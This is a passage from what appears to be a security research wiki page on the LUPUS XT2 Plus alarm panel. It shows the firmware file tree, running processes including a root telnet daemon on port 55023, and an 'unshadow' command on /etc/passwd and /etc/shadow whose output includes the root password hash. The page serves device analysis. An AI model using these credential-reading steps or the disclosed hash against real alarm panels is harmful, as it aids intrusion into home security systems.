│   ├── ld-2.11.so&lt;br /&gt;
│   ├── ld-linux.so.3 -&amp;gt; ld-2.11.so&lt;br /&gt;
│   ├── libc-2.11.so&lt;br /&gt;
│   ├── libc.so&lt;br /&gt;
│   ├── libc.so.6 -&amp;gt; libc-2.11.so&lt;br /&gt;
│   ├── libcrypt-2.11.so&lt;br /&gt;
│   ├── libcrypt.so -&amp;gt; libcrypt.so.1&lt;br /&gt;
│   ├── libcrypt.so.1 -&amp;gt; libcrypt-2.11.so&lt;br /&gt;
│   ├── libdl-2.11.so&lt;br /&gt;
│   ├── libdl.so -&amp;gt; libdl.so.2&lt;br /&gt;
│   ├── libdl.so.2 -&amp;gt; libdl-2.11.so&lt;br /&gt;
│   ├── libgcc_s.so&lt;br /&gt;
│   ├── libgcc_s.so.1&lt;br /&gt;
│   ├── libiw.so -&amp;gt; libiw.so.30&lt;br /&gt;
│   ├── libiw.so.30&lt;br /&gt;
│   ├── libm-2.11.so&lt;br /&gt;
│   ├── libm.so -&amp;gt; libm.so.6&lt;br /&gt;
│   ├── libm.so.6 -&amp;gt; libm-2.11.so&lt;br /&gt;
│   ├── libnsl-2.11.so&lt;br /&gt;
│   ├── libnsl.so -&amp;gt; libnsl.so.1&lt;br /&gt;
│   ├── libnsl.so.1 -&amp;gt; libnsl-2.11.so&lt;br /&gt;
│   ├── libnss_dns-2.11.so&lt;br /&gt;
│   ├── libnss_dns.so -&amp;gt; libnss_dns.so.2&lt;br /&gt;
│   ├── libnss_dns.so.2 -&amp;gt; libnss_dns-2.11.so&lt;br /&gt;
│   ├── libnss_files-2.11.so&lt;br /&gt;
│   ├── libnss_files.so -&amp;gt; libnss_files.so.2&lt;br /&gt;
│   ├── libnss_files.so.2 -&amp;gt; libnss_files-2.11.so&lt;br /&gt;
│   ├── libpthread-2.11.so&lt;br /&gt;
│   ├── libpthread.so&lt;br /&gt;
│   ├── libpthread.so.0 -&amp;gt; libpthread-2.11.so&lt;br /&gt;
│   ├── libresolv-2.11.so&lt;br /&gt;
│   ├── libresolv.so -&amp;gt; libresolv.so.2&lt;br /&gt;
│   ├── libresolv.so.2 -&amp;gt; libresolv-2.11.so&lt;br /&gt;
│   ├── librt-2.11.so&lt;br /&gt;
│   ├── librt.so -&amp;gt; librt.so.1&lt;br /&gt;
│   ├── librt.so.1 -&amp;gt; librt-2.11.so&lt;br /&gt;
│   ├── libthread_db-1.0.so&lt;br /&gt;
│   ├── libthread_db.so -&amp;gt; libthread_db.so.1&lt;br /&gt;
│   ├── libthread_db.so.1 -&amp;gt; libthread_db-1.0.so&lt;br /&gt;
│   ├── libutil-2.11.so&lt;br /&gt;
│   ├── libutil.so -&amp;gt; libutil.so.1&lt;br /&gt;
│   ├── libutil.so.1 -&amp;gt; libutil-2.11.so&lt;br /&gt;
│   └── modules&lt;br /&gt;
│       ├── climax.ko&lt;br /&gt;
│       ├── cpe-wdt.ko&lt;br /&gt;
│       ├── ftmac100.ko&lt;br /&gt;
│       ├── ftpwmtmr010.ko&lt;br /&gt;
│       ├── ftsar_adc010.ko&lt;br /&gt;
│       ├── rtc-ftrtc011.ko&lt;br /&gt;
│       └── sar_adc_dev0.ko&lt;br /&gt;
├── linuxrc -&amp;gt; bin/busybox&lt;br /&gt;
├── mnt&lt;br /&gt;
│   ├── mtd&lt;br /&gt;
│   │   ├── MAC&lt;br /&gt;
│   │   ├── config&lt;br /&gt;
│   │   │   ├── alarm.log&lt;br /&gt;
│   │   │   ├── alarm_history.json&lt;br /&gt;
│   │   │   ├── alarm_history.json.md5sum&lt;br /&gt;
│   │   │   ├── area.json&lt;br /&gt;
│   │   │   ├── area.json.md5sum&lt;br /&gt;
│   │   │   ├── config.json&lt;br /&gt;
│   │   │   ├── config.json.md5sum&lt;br /&gt;
│   │   │   ├── debug0.log&lt;br /&gt;
│   │   │   ├── debug1.log&lt;br /&gt;
│   │   │   ├── debug2.log&lt;br /&gt;
│   │   │   ├── debug3.log&lt;br /&gt;
│   │   │   ├── device.json&lt;br /&gt;
│   │   │   ├── device.json.md5sum&lt;br /&gt;
│   │   │   ├── device_bak.json&lt;br /&gt;
│   │   │   ├── device_sched.json&lt;br /&gt;
│   │   │   ├── device_sched.json.md5sum&lt;br /&gt;
│   │   │   ├── device_upic.json&lt;br /&gt;
│   │   │   ├── device_upic.json.md5sum&lt;br /&gt;
│   │   │   ├── device_week_schd.json&lt;br /&gt;
│   │   │   ├── device_week_schd.json.md5sum&lt;br /&gt;
│   │   │   ├── group.json&lt;br /&gt;
│   │   │   ├── group.json.md5sum&lt;br /&gt;
│   │   │   ├── ha.json&lt;br /&gt;
│   │   │   ├── ha.json.md5sum&lt;br /&gt;
│   │   │   ├── history.json.md5sum&lt;br /&gt;
│   │   │   ├── history0.part&lt;br /&gt;
│   │   │   ├── image.json&lt;br /&gt;
│   │   │   ├── image.json.md5sum&lt;br /&gt;
│   │   │   ├── note.json&lt;br /&gt;
│   │   │   ├── note.json.md5sum&lt;br /&gt;
│   │   │   ├── report.json&lt;br /&gt;
│   │   │   ├── report.json.md5sum&lt;br /&gt;
│   │   │   ├── report_setting.json&lt;br /&gt;
│   │   │   ├── report_setting.json.md5sum&lt;br /&gt;
│   │   │   ├── system.log&lt;br /&gt;
│   │   │   ├── user.json&lt;br /&gt;
│   │   │   ├── user.json.md5sum&lt;br /&gt;
│   │   │   ├── web_token.json&lt;br /&gt;
│   │   │   └── web_token.json.md5sum&lt;br /&gt;
│   │   └── temp&lt;br /&gt;
│   │       ├── download&lt;br /&gt;
│   │       └── zb&lt;br /&gt;
│   └── nfs&lt;br /&gt;
├── root&lt;br /&gt;
│   ├── common&lt;br /&gt;
│   │   ├── beeper.json&lt;br /&gt;
│   │   ├── device_tmpl.json&lt;br /&gt;
│   │   ├── error.jpg&lt;br /&gt;
│   │   ├── led.json&lt;br /&gt;
│   │   ├── string.json&lt;br /&gt;
│   │   └── string_1p.json&lt;br /&gt;
│   ├── config -&amp;gt; /mnt/mtd/config&lt;br /&gt;
│   ├── config.tgz&lt;br /&gt;
│   ├── driver&lt;br /&gt;
│   │   └── TODO&lt;br /&gt;
│   ├── hpgw&lt;br /&gt;
│   ├── html&lt;br /&gt;
│   │   ├── css&lt;br /&gt;
│   │   │   ├── core.css&lt;br /&gt;
│   │   │   ├── fullscreen.css&lt;br /&gt;
│   │   │   ├── ie-only.css&lt;br /&gt;
│   │   │   ├── jquery.gridster.css&lt;br /&gt;
│   │   │   ├── jquery.guide.css&lt;br /&gt;
│   │   │   ├── main.css&lt;br /&gt;
│   │   │   ├── multiple-select.css&lt;br /&gt;
│   │   │   └── nv.d3.css&lt;br /&gt;
│   │   ├── error.htm&lt;br /&gt;
│   │   ├── factory&lt;br /&gt;
│   │   │   ├── deviceLr.htm&lt;br /&gt;
│   │   │   ├── mac.htm&lt;br /&gt;
│   │   │   └── test.htm&lt;br /&gt;
│   │   ├── favicon.ico&lt;br /&gt;
│   │   ├── fonts&lt;br /&gt;
│   │   │   ├── FuturaBT-HeavyItalic.ttf&lt;br /&gt;
│   │   │   ├── FuturaBT-HeavyItalic.woff&lt;br /&gt;
│   │   │   ├── FuturaStd-Light.ttf&lt;br /&gt;
│   │   │   ├── FuturaStd-Light.woff&lt;br /&gt;
│   │   │   ├── FuturaStdBook.ttf&lt;br /&gt;
│   │   │   └── FuturaStdBook.woff&lt;br /&gt;
│   │   ├── images&lt;br /&gt;
│   │   │   ├── activityspin.gif&lt;br /&gt;
│   │   │   ├── ajaxld.gif&lt;br /&gt;
│   │   │   ├── arrow.gif&lt;br /&gt;
│   │   │   ├── arrows.png&lt;br /&gt;
│   │   │   ├── bg_help.png&lt;br /&gt;
│   │   │   ├── bg_page.png&lt;br /&gt;
│   │   │   ├── clock_bg_bottom.png&lt;br /&gt;
│   │   │   ├── clock_bg_top.png&lt;br /&gt;
│   │   │   ├── close.gif&lt;br /&gt;
│   │   │   ├── colorwheel.png&lt;br /&gt;
│   │   │   ├── column.gif&lt;br /&gt;
│   │   │   ├── column_grey.gif&lt;br /&gt;
│   │   │   ├── column_grey_2.gif&lt;br /&gt;
│   │   │   ├── control_buttons.png&lt;br /&gt;
│   │   │   ├── dialog2-grey.png&lt;br /&gt;
│   │   │   ├── empty.gif&lt;br /&gt;
│   │   │   ├── error.jpg&lt;br /&gt;
│   │   │   ├── hue_200.jpg&lt;br /&gt;
│   │   │   ├── icon-e.gif&lt;br /&gt;
│   │   │   ├── icon-s.gif&lt;br /&gt;
│   │   │   ├── icon-w.gif&lt;br /&gt;
│   │   │   ├── icon_close.png&lt;br /&gt;
│   │   │   ├── icon_menu.png&lt;br /&gt;
│   │   │   ├── icon_notification_alarm.png&lt;br /&gt;
│   │   │   ├── icon_notification_info.png&lt;br /&gt;
│   │   │   ├── icon_notification_shield.png&lt;br /&gt;
│   │   │   ├── icon_notification_warning.png&lt;br /&gt;
│   │   │   ├── icons.png&lt;br /&gt;
│   │   │   ├── jscal.gif&lt;br /&gt;
│   │   │   ├── leds.png&lt;br /&gt;
│   │   │   ├── lupusec24_banner.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_main.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_premium.jpg&lt;br /&gt;
│   │   │   ├── lupusec24_standard.jpg&lt;br /&gt;
│   │   │   ├── mode_map.png&lt;br /&gt;
│   │   │   ├── mode_map_icons.png&lt;br /&gt;
│   │   │   ├── multiple-select.png&lt;br /&gt;
│   │   │   ├── nav-slider.png&lt;br /&gt;
│   │   │   ├── nav_sub.png&lt;br /&gt;
│   │   │   ├── navmain_bg.gif&lt;br /&gt;
│   │   │   ├── navsub_bg.gif&lt;br /&gt;
│   │   │   ├── navsub_bg_active.png&lt;br /&gt;
│   │   │   ├── navtop_bg.gif&lt;br /&gt;
│   │   │   ├── osd_buttons_18x18.png&lt;br /&gt;
│   │   │   ├── osd_opener.png&lt;br /&gt;
│   │   │   ├── osd_status.png&lt;br /&gt;
│   │   │   ├── panel_status.png&lt;br /&gt;
│   │   │   ├── scale.png&lt;br /&gt;
│   │   │   ├── signal.png&lt;br /&gt;
│   │   │   ├── tour_ipcam.png&lt;br /&gt;
│   │   │   ├── wizard.png&lt;br /&gt;
│   │   │   └── x.gif&lt;br /&gt;
│   │   ├── index.htm&lt;br /&gt;
│   │   ├── js&lt;br /&gt;
│   │   │   ├── colorpicker.js&lt;br /&gt;
│   │   │   ├── common.js&lt;br /&gt;
│   │   │   ├── core.js&lt;br /&gt;
│   │   │   ├── crossfilter.min.js&lt;br /&gt;
│   │   │   ├── d3.min.js&lt;br /&gt;
│   │   │   ├── grid.colorpicker.js&lt;br /&gt;
│   │   │   ├── grid.js&lt;br /&gt;
│   │   │   ├── jquery-1.12.4.min.js&lt;br /&gt;
│   │   │   ├── jquery-ui-1.11.4.custom.min.js&lt;br /&gt;
│   │   │   ├── jquery.gridster.js&lt;br /&gt;
│   │   │   ├── jquery.guide.js&lt;br /&gt;
│   │   │   ├── jquery.multiple.select.min.js&lt;br /&gt;
│   │   │   ├── jquery.scrollbar.js&lt;br /&gt;
│   │   │   ├── jquery.ui.timepicker.js&lt;br /&gt;
│   │   │   ├── lz-string.js&lt;br /&gt;
│   │   │   ├── mdetect.js&lt;br /&gt;
│   │   │   ├── menu.js&lt;br /&gt;
│   │   │   ├── modernizr-2.8.3.min.js&lt;br /&gt;
│   │   │   ├── nvd3-1.1.11b.custom.js&lt;br /&gt;
│   │   │   └── overview.js&lt;br /&gt;
│   │   ├── language&lt;br /&gt;
│   │   │   ├── de.js&lt;br /&gt;
│   │   │   ├── en.js&lt;br /&gt;
│   │   │   ├── fr.js&lt;br /&gt;
│   │   │   ├── it.js&lt;br /&gt;
│   │   │   └── sp.js&lt;br /&gt;
│   │   ├── override&lt;br /&gt;
│   │   │   ├── de.js&lt;br /&gt;
│   │   │   ├── en.js&lt;br /&gt;
│   │   │   ├── fr.js&lt;br /&gt;
│   │   │   ├── it.js&lt;br /&gt;
│   │   │   └── sp.js&lt;br /&gt;
│   │   ├── pax_global_header&lt;br /&gt;
│   │   ├── rf&lt;br /&gt;
│   │   │   └── deviceAddByID.htm&lt;br /&gt;
│   │   ├── setting&lt;br /&gt;
│   │   │   ├── actUrl.htm&lt;br /&gt;
│   │   │   ├── adminUser.htm&lt;br /&gt;
│   │   │   ├── amr.htm&lt;br /&gt;
│   │   │   ├── capEvent.htm&lt;br /&gt;
│   │   │   ├── changePasswd.htm&lt;br /&gt;
│   │   │   ├── changePasswd3.htm&lt;br /&gt;
│   │   │   ├── codeSetting.htm&lt;br /&gt;
│   │   │   ├── comparsion.htm&lt;br /&gt;
│   │   │   ├── config.htm&lt;br /&gt;
│   │   │   ├── datetime.htm&lt;br /&gt;
│   │   │   ├── ddnsWeb.htm&lt;br /&gt;
│   │   │   ├── debug.htm&lt;br /&gt;
│   │   │   ├── deviceEdit.htm&lt;br /&gt;
│   │   │   ├── deviceEx.htm&lt;br /&gt;
│   │   │   ├── deviceLr.htm&lt;br /&gt;
│   │   │   ├── deviceLrRule.htm&lt;br /&gt;
│   │   │   ├── deviceLrRuleAdd.htm&lt;br /&gt;
│   │   │   ├── deviceLrRuleEdit.htm&lt;br /&gt;
│   │   │   ├── devicePSS.htm&lt;br /&gt;
│   │   │   ├── deviceSurv.htm&lt;br /&gt;
│   │   │   ├── deviceThermo.htm&lt;br /&gt;
│   │   │   ├── deviceUPIC.htm&lt;br /&gt;
│   │   │   ├── deviceUpgrade.htm&lt;br /&gt;
│   │   │   ├── deviceWk.htm&lt;br /&gt;
│   │   │   ├── factoryRst.htm&lt;br /&gt;
│   │   │   ├── fullscreen.htm&lt;br /&gt;
│   │   │   ├── grid.htm&lt;br /&gt;
│   │   │   ├── group.htm&lt;br /&gt;
│   │   │   ├── ha.htm&lt;br /&gt;
│   │   │   ├── history.htm&lt;br /&gt;
│   │   │   ├── historyPSM.htm&lt;br /&gt;
│   │   │   ├── historyTemp.htm&lt;br /&gt;
│   │   │   ├── info.htm&lt;br /&gt;
│   │   │   ├── ipcam.htm&lt;br /&gt;
│   │   │   ├── language.htm&lt;br /&gt;
│   │   │   ├── log.htm&lt;br /&gt;
│   │   │   ├── logger.htm&lt;br /&gt;
│   │   │   ├── mobile.htm&lt;br /&gt;
│   │   │   ├── network.htm&lt;br /&gt;
│   │   │   ├── newPasswd.htm&lt;br /&gt;
│   │   │   ├── noteEdit.htm&lt;br /&gt;
│   │   │   ├── overview.htm&lt;br /&gt;
│   │   │   ├── panel.htm&lt;br /&gt;
│   │   │   ├── poll.htm&lt;br /&gt;
│   │   │   ├── progSiren.htm&lt;br /&gt;
│   │   │   ├── record.htm&lt;br /&gt;
│   │   │   ├── report.htm&lt;br /&gt;
│   │   │   ├── reportEvent.htm&lt;br /&gt;
│   │   │   ├── reportSMS.htm&lt;br /&gt;
│   │   │   ├── reportVoice.htm&lt;br /&gt;
│   │   │   ├── scene.htm&lt;br /&gt;
│   │   │   ├── sdcard.htm&lt;br /&gt;
│   │   │   ├── sendSMS.htm&lt;br /&gt;
│   │   │   ├── sirenCtrl.htm&lt;br /&gt;
│   │   │   ├── smtp.htm&lt;br /&gt;
│   │   │   ├── system.htm&lt;br /&gt;
│   │   │   ├── tariffs.htm&lt;br /&gt;
│   │   │   ├── test_ip.htm&lt;br /&gt;
│   │   │   ├── upgrade.htm&lt;br /&gt;
│   │   │   ├── upgradeRF.htm&lt;br /&gt;
│   │   │   ├── upload.htm&lt;br /&gt;
│   │   │   ├── upnp.htm&lt;br /&gt;
│   │   │   ├── userCode.htm&lt;br /&gt;
│   │   │   ├── userCode3.htm&lt;br /&gt;
│   │   │   ├── version&lt;br /&gt;
│   │   │   ├── wireless.htm&lt;br /&gt;
│   │   │   ├── wizard.htm&lt;br /&gt;
│   │   │   ├── xmpp.htm&lt;br /&gt;
│   │   │   └── zwaveTool.htm&lt;br /&gt;
│   │   ├── successReboot.htm&lt;br /&gt;
│   │   ├── svg&lt;br /&gt;
│   │   │   ├── area_status&lt;br /&gt;
│   │   │   │   ├── area_alarm.svg&lt;br /&gt;
│   │   │   │   ├── area_armed.svg&lt;br /&gt;
│   │   │   │   ├── area_disarmed.svg&lt;br /&gt;
│   │   │   │   ├── area_home.svg&lt;br /&gt;
│   │   │   │   └── area_warning.svg&lt;br /&gt;
│   │   │   ├── arrow.svg&lt;br /&gt;
│   │   │   ├── btn_map.svg&lt;br /&gt;
│   │   │   ├── current&lt;br /&gt;
│   │   │   │   ├── {0-47}.svg&lt;br /&gt;
│   │   │   ├── forecast&lt;br /&gt;
│   │   │   │   ├── {0-47}.svg&lt;br /&gt;
│   │   │   ├── grid.svg&lt;br /&gt;
│   │   │   ├── icons&lt;br /&gt;
│   │   │   │   ├── connected.svg&lt;br /&gt;
│   │   │   │   ├── day.svg&lt;br /&gt;
│   │   │   │   ├── disconnected.svg&lt;br /&gt;
│   │   │   │   ├── eye.svg&lt;br /&gt;
│   │   │   │   ├── in.svg&lt;br /&gt;
│   │   │   │   ├── location.svg&lt;br /&gt;
│   │   │   │   ├── miss.svg&lt;br /&gt;
│   │   │   │   ├── night.svg&lt;br /&gt;
│   │   │   │   ├── out.svg&lt;br /&gt;
│   │   │   │   ├── purple.svg&lt;br /&gt;
│   │   │   │   ├── rain_probability.svg&lt;br /&gt;
│   │   │   │   ├── ring.svg&lt;br /&gt;
│   │   │   │   ├── temperature.svg&lt;br /&gt;
│   │   │   │   ├── winddirection.svg&lt;br /&gt;
│   │   │   │   └── windspeed.svg&lt;br /&gt;
│   │   │   ├── logo1plus.svg&lt;br /&gt;
│   │   │   ├── logo2.svg&lt;br /&gt;
│   │   │   ├── logo2plus.svg&lt;br /&gt;
│   │   │   ├── logo3.svg&lt;br /&gt;
│   │   │   ├── nocam.svg&lt;br /&gt;
│   │   │   ├── nocontent.svg&lt;br /&gt;
│   │   │   └── notify&lt;br /&gt;
│   │   │       ├── notify_bell.svg&lt;br /&gt;
│   │   │       ├── notify_information.svg&lt;br /&gt;
│   │   │       ├── notify_shield.svg&lt;br /&gt;
│   │   │       └── notify_warning.svg&lt;br /&gt;
│   │   ├── temp -&amp;gt; ../temp&lt;br /&gt;
│   │   ├── templates&lt;br /&gt;
│   │   │   ├── grid_c.htm&lt;br /&gt;
│   │   │   ├── grid_gu.htm&lt;br /&gt;
│   │   │   └── grid_widget.htm&lt;br /&gt;
│   │   ├── test&lt;br /&gt;
│   │   │   ├── config.htm&lt;br /&gt;
│   │   │   ├── httpc.htm&lt;br /&gt;
│   │   │   ├── runXMLCmd.htm&lt;br /&gt;
│   │   │   └── tryReport.htm&lt;br /&gt;
│   │   └── welcome.htm&lt;br /&gt;
│   ├── in&lt;br /&gt;
│   ├── launcher&lt;br /&gt;
│   ├── script&lt;br /&gt;
│   │   ├── apnsCert.pem&lt;br /&gt;
│   │   ├── apnsKey.pem&lt;br /&gt;
│   │   ├── codec.sh&lt;br /&gt;
│   │   ├── index1.htm&lt;br /&gt;
│   │   ├── index2.htm&lt;br /&gt;
│   │   ├── index3.htm&lt;br /&gt;
│   │   ├── lupus_svr.cert&lt;br /&gt;
│   │   ├── lupus_svr.key&lt;br /&gt;
│   │   ├── pppd_connect.txt&lt;br /&gt;
│   │   ├── pppd_option.txt&lt;br /&gt;
│   │   ├── pppd_pap.txt&lt;br /&gt;
│   │   ├── pushproductioncertificate.p12&lt;br /&gt;
│   │   ├── udhcpc.txt&lt;br /&gt;
│   │   ├── upload1.smil&lt;br /&gt;
│   │   ├── upload1v.smil&lt;br /&gt;
│   │   └── upload3.smil&lt;br /&gt;
│   ├── temp -&amp;gt; /mnt/mtd/temp&lt;br /&gt;
│   ├── temp.tgz&lt;br /&gt;
│   └── test&lt;br /&gt;
├── sbin&lt;br /&gt;
│   ├── chat&lt;br /&gt;
│   ├── depmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── devmem -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── fw_printenv&lt;br /&gt;
│   ├── halt -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── hwclock -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── ifconfig -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── init -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── insmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── iwconfig&lt;br /&gt;
│   ├── iwevent&lt;br /&gt;
│   ├── iwgetid&lt;br /&gt;
│   ├── iwlist&lt;br /&gt;
│   ├── iwpriv&lt;br /&gt;
│   ├── lsmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── mdev -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── modprobe -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── poweroff -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── pppd&lt;br /&gt;
│   ├── pppdump&lt;br /&gt;
│   ├── pppoe-discovery&lt;br /&gt;
│   ├── pppstats&lt;br /&gt;
│   ├── reboot -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── rmmod -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── route -&amp;gt; /bin/busybox&lt;br /&gt;
│   ├── udhcpc -&amp;gt; /bin/busybox&lt;br /&gt;
│   └── watchdog -&amp;gt; /bin/busybox&lt;br /&gt;
├── share&lt;br /&gt;
└── sys&lt;br /&gt;
    ├── devices&lt;br /&gt;
    │   └── platform&lt;br /&gt;
    │       └── uevent&lt;br /&gt;
    └── fs&lt;br /&gt;
&lt;br /&gt;
46 directories, 534 files&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Running Processes&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
[root@HPGW-NET6]# top&lt;br /&gt;
Mem: 35556K used, 26668K free, 0K shrd, 0K buff, 18604K cached&lt;br /&gt;
CPU:   2% usr   7% sys   0% nic  89% idle   0% io   0% irq   0% sirq&lt;br /&gt;
Load average: 0.11 0.10 0.09 1/54 12168&lt;br /&gt;
  PID  PPID USER     STAT   VSZ %VSZ %CPU COMMAND&lt;br /&gt;
  225   224 root     S    25632  41%   2% ./hpgw&lt;br /&gt;
12158   326 root     R     1796   3%   1% top&lt;br /&gt;
  194     1 root     S     1872   3%   0% telnetd -p 55023&lt;br /&gt;
  222   183 root     S     2836   5%   0% /root/launcher&lt;br /&gt;
  326   194 root     S     1796   3%   0% -sh&lt;br /&gt;
    1     0 root     S     1792   3%   0% {init} /bin/busybox ash /init&lt;br /&gt;
  183   169 root     S     1792   3%   0% {rc.climax} /bin/sh /etc/init.d/rc.climax&lt;br /&gt;
  169   168 root     S     1792   3%   0% {rc.sysinit} /bin/sh /etc/init.d/rc.sysinit&lt;br /&gt;
  168     1 root     S     1792   3%   0% {linuxrc} init&lt;br /&gt;
  224   222 root     S     1792   3%   0% sh -c ./hpgw&lt;br /&gt;
11598     1 root     S     1792   3%   0% udhcpc -b -i eth0&lt;br /&gt;
  113     2 root     SW&amp;lt;      0   0%   0% [ftssp010_spi.0]&lt;br /&gt;
   85     2 root     SW       0   0%   0% [pdflush]&lt;br /&gt;
  179     2 root     SWN      0   0%   0% [jffs2_gcd_mtd1]&lt;br /&gt;
    4     2 root     SW&amp;lt;      0   0%   0% [events/0]&lt;br /&gt;
    3     2 root     SW&amp;lt;      0   0%   0% [ksoftirqd/0]&lt;br /&gt;
    5     2 root     SW&amp;lt;      0   0%   0% [khelper]&lt;br /&gt;
    2     0 root     SW&amp;lt;      0   0%   0% [kthreadd]&lt;br /&gt;
   58     2 root     SW&amp;lt;      0   0%   0% [kblockd/0]&lt;br /&gt;
   64     2 root     SW&amp;lt;      0   0%   0% [khubd]&lt;br /&gt;
   84     2 root     SW       0   0%   0% [pdflush]&lt;br /&gt;
   86     2 root     SW&amp;lt;      0   0%   0% [kswapd0]&lt;br /&gt;
   87     2 root     SW&amp;lt;      0   0%   0% [aio/0]&lt;br /&gt;
   88     2 root     SW&amp;lt;      0   0%   0% [nfsiod]&lt;br /&gt;
  111     2 root     SW&amp;lt;      0   0%   0% [mtdblockd]&lt;br /&gt;
  159     2 root     SW&amp;lt;      0   0%   0% [rpciod/0]&lt;br /&gt;
&lt;br /&gt;
[root@HPGW-NET6]# ps&lt;br /&gt;
    1 root      1792 S    {init} /bin/busybox ash /init&lt;br /&gt;
    2 root         0 SW&amp;lt;  [kthreadd]&lt;br /&gt;
    3 root         0 SW&amp;lt;  [ksoftirqd/0]&lt;br /&gt;
    4 root         0 SW&amp;lt;  [events/0]&lt;br /&gt;
    5 root         0 SW&amp;lt;  [khelper]&lt;br /&gt;
   58 root         0 SW&amp;lt;  [kblockd/0]&lt;br /&gt;
   64 root         0 SW&amp;lt;  [khubd]&lt;br /&gt;
   84 root         0 SW   [pdflush]&lt;br /&gt;
   85 root         0 SW   [pdflush]&lt;br /&gt;
   86 root         0 SW&amp;lt;  [kswapd0]&lt;br /&gt;
   87 root         0 SW&amp;lt;  [aio/0]&lt;br /&gt;
   88 root         0 SW&amp;lt;  [nfsiod]&lt;br /&gt;
  111 root         0 SW&amp;lt;  [mtdblockd]&lt;br /&gt;
  113 root         0 SW&amp;lt;  [ftssp010_spi.0]&lt;br /&gt;
  159 root         0 SW&amp;lt;  [rpciod/0]&lt;br /&gt;
  168 root      1792 S    {linuxrc} init&lt;br /&gt;
  169 root      1792 S    {rc.sysinit} /bin/sh /etc/init.d/rc.sysinit&lt;br /&gt;
  179 root         0 SWN  [jffs2_gcd_mtd1]&lt;br /&gt;
  183 root      1792 S    {rc.climax} /bin/sh /etc/init.d/rc.climax&lt;br /&gt;
  194 root      1872 S    telnetd -p 55023&lt;br /&gt;
  222 root      2836 S    /root/launcher&lt;br /&gt;
  224 root      1792 S    sh -c ./hpgw&lt;br /&gt;
  225 root     25632 S    ./hpgw&lt;br /&gt;
  326 root      1796 S    -sh&lt;br /&gt;
11598 root      1792 S    udhcpc -b -i eth0&lt;br /&gt;
12227 root      1796 R    ps&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Unshadowed Linux Accounts&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&lt;br /&gt;
$ unshadow /etc/passwd /etc/shadow&lt;br /&gt;
root:$1$2585$ZheIaaREfseBiXYV8PUkh.:0:0:root:/root:/bin/sh&lt;br /&gt;
bin:*:1:1:bin:/bin:/bin/sh&lt;br /&gt;
daemon:*:2:2:daemon:/usr/sbin:/bin/sh&lt;br /&gt;
adm:*:3:4:adm:/adm:/bin/sh&lt;br /&gt;
lp:*:4:7:lp:/var/spool/lpd:/bin/sh&lt;br /&gt;
sync:*:5:0:sync:/bin:/bin/sync&lt;br /&gt;
shutdown:*:6:11:shutdown:/sbin:/sbin/shutdown&lt;br /&gt;
halt:*:7:0:halt:/sbin:/sbin/halt&lt;br /&gt;
uucp:*:10:14:uucp:/var/spool/uucp:/bin/sh&lt;br /&gt;
operator:*:11:0:Operator:/var:/bin/sh&lt;br /&gt;
nobody:*:99:99:nobody:/home:/bin/sh&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Web Interface&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The web interface offers no further insight into the functionality of the device, as it is secured by a &amp;lt;code&amp;gt;.htaccess&amp;lt;/code&amp;gt; file and NO information will be disclosed if a password is entered incorrectly. The attacker is merely presented with a static web page without JavaScript with the message &amp;quot;access denied&amp;quot;. This method provides a simple yet effective way to secure a Web interface. This type of protection is also used against brute-force attacks and the like.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal; line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;LUPUS XT2 Plus&amp;lt;/b&amp;gt;: Smart Home Alarm Panel&amp;lt;/div&amp;gt;&lt;br /&gt;
